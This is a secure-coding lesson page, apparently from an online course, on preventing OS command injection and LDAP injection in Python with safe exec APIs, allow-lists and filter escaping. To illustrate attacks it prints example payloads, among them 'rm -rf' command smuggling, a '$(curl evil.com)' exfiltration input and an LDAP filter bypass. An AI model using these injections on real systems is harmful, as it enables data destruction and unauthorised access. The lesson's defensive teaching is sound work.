0Pricing
Secure Coding & OWASP Top 10 for Backend · レッスン

コマンドインジェクションとLDAPインジェクションの防止

OSコマンドインジェクションとLDAPインジェクションの仕組みを学び、安全なAPI、許可リスト、適切なエンコーディングで防御する方法を理解します。

「コマンドインジェクションとLDAPインジェクションの防止」はCoddyKit上の無料Secure Coding & OWASP Top 10 for Backendレッスンです。 これはレッスン4/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはSecure Coding & OWASP Top 10 for Backend学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Secure Coding & OWASP Top 10 for Backendコースには全4レッスンが含まれています。

このレッスンの一部はまだ翻訳されておらず、英語で表示されています。

Beyond SQL Injection

Injection is not limited to SQL. Any time untrusted input is mixed into a command interpreter, you risk injection. Two dangerous cousins are OS command injection and LDAP injection.

This lesson shows how both work and how to stop them.

How Command Injection Works

Command injection happens when user input is passed to a shell. Shell metacharacters like ;, &&, and | let an attacker append their own commands.

  • Input file.txt; rm -rf / can delete data
  • Input $(curl evil.com) can exfiltrate or download

The Vulnerable Pattern

The danger is invoking a shell with a concatenated string. Here the user controls part of the command line.

import os

def ping(host):
    # DANGEROUS: host is interpolated into a shell command
    os.system('ping -c 1 ' + host)

# ping('8.8.8.8; rm -rf /tmp/data') runs two commands

Use Safe APIs

The fix is to avoid the shell entirely. Pass arguments as a list to an exec-style API so the OS treats input as a single argument, never as syntax.

import subprocess

def ping(host):
    # SAFE: no shell, host is a single argument
    subprocess.run(['ping', '-c', '1', host], shell=False, check=True)

Validate with Allow-Lists

When input feeds a command, restrict it to a known-good pattern. An allow-list rejects anything outside an expected set instead of trying to block bad characters.

import re

def is_valid_host(host):
    pattern = r'^[a-zA-Z0-9.-]{1,253}$'
    return re.match(pattern, host) is not None

print(is_valid_host('example.com'))
print(is_valid_host('8.8.8.8; rm -rf /'))

Avoid Shell Features

Never enable shell=True, eval, or string-based command builders with untrusted data. If you must use a shell, escape arguments with the platform quoting function, but prefer the no-shell approach.

What Is LDAP Injection?

LDAP injection targets directory queries used in authentication and lookups. Special characters like *, (, ), and \ alter the filter logic.

An input of * in a username field can match every entry, bypassing access checks.

Vulnerable LDAP Filter

Building filters by string concatenation lets attackers rewrite the query.

def build_filter(username):
    # DANGEROUS: username can contain LDAP metacharacters
    return '(&(uid=' + username + ')(active=TRUE))'

# build_filter('*)(uid=*') opens the filter to all users

Escaping LDAP Input

Escape special characters before inserting them into a filter, per RFC 4515. Most LDAP libraries provide an escape helper, use it for every dynamic value.

def escape_ldap(value):
    replacements = {'\\': '\\5c', '*': '\\2a', '(': '\\28', ')': '\\29', '\x00': '\\00'}
    out = ''
    for ch in value:
        out += replacements.get(ch, ch)
    return out

print(escape_ldap('*)(uid=*'))

Defense in Depth

Combine safe APIs, allow-list validation, and least privilege. Run processes under low-privilege accounts so even a successful injection cannot do much.

  • No shell where possible
  • Validate every input
  • Drop privileges before executing

Testing for Injection

Probe inputs with metacharacters during testing: semicolons and pipes for command fields, asterisks and parentheses for LDAP fields. Automated DAST tools and code review both help catch these flaws early.

Quick Check

Test your understanding of injection defenses.

Recap

You learned how command injection and LDAP injection work and how to stop them: avoid the shell with safe exec APIs, use allow-list validation, escape LDAP special characters, and apply least privilege. Treat every interpreter boundary as a place where injection can occur.

よくある質問

「コマンドインジェクションとLDAPインジェクションの防止」レッスンは無料ですか?

はい。「コマンドインジェクションとLDAPインジェクションの防止」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、Secure Coding & OWASP Top 10 for Backendコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Secure Coding & OWASP Top 10 for Backendコースには全4レッスンが含まれています。

「コマンドインジェクションとLDAPインジェクションの防止」で何を学びますか?

OSコマンドインジェクションとLDAPインジェクションの仕組みを学び、安全なAPI、許可リスト、適切なエンコーディングで防御する方法を理解します。 ブラウザで直接実行するハンズオンコードでSecure Coding & OWASP Top 10 for Backendを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。

Secure Coding & OWASP Top 10 for Backendを始めるのに経験は必要ですか?

事前経験は必要ありません。CoddyKitのSecure Coding & OWASP Top 10 for Backendは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン4/4です。

「コマンドインジェクションとLDAPインジェクションの防止」レッスンにはどのくらい時間がかかりますか?

ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。

このSecure Coding & OWASP Top 10 for Backendレッスンでコードを書いて実行できますか?

はい。すべてのSecure Coding & OWASP Top 10 for Backendレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。

このコースのすべてのレッスン

  1. 高度なSQLiおよびNoSQLiの手法
  2. 包括的な入力検証戦略
  3. バックエンド向けContent Security Policy(CSP)
  4. コマンドインジェクションとLDAPインジェクションの防止
← Secure Coding & OWASP Top 10 for Backendに戻る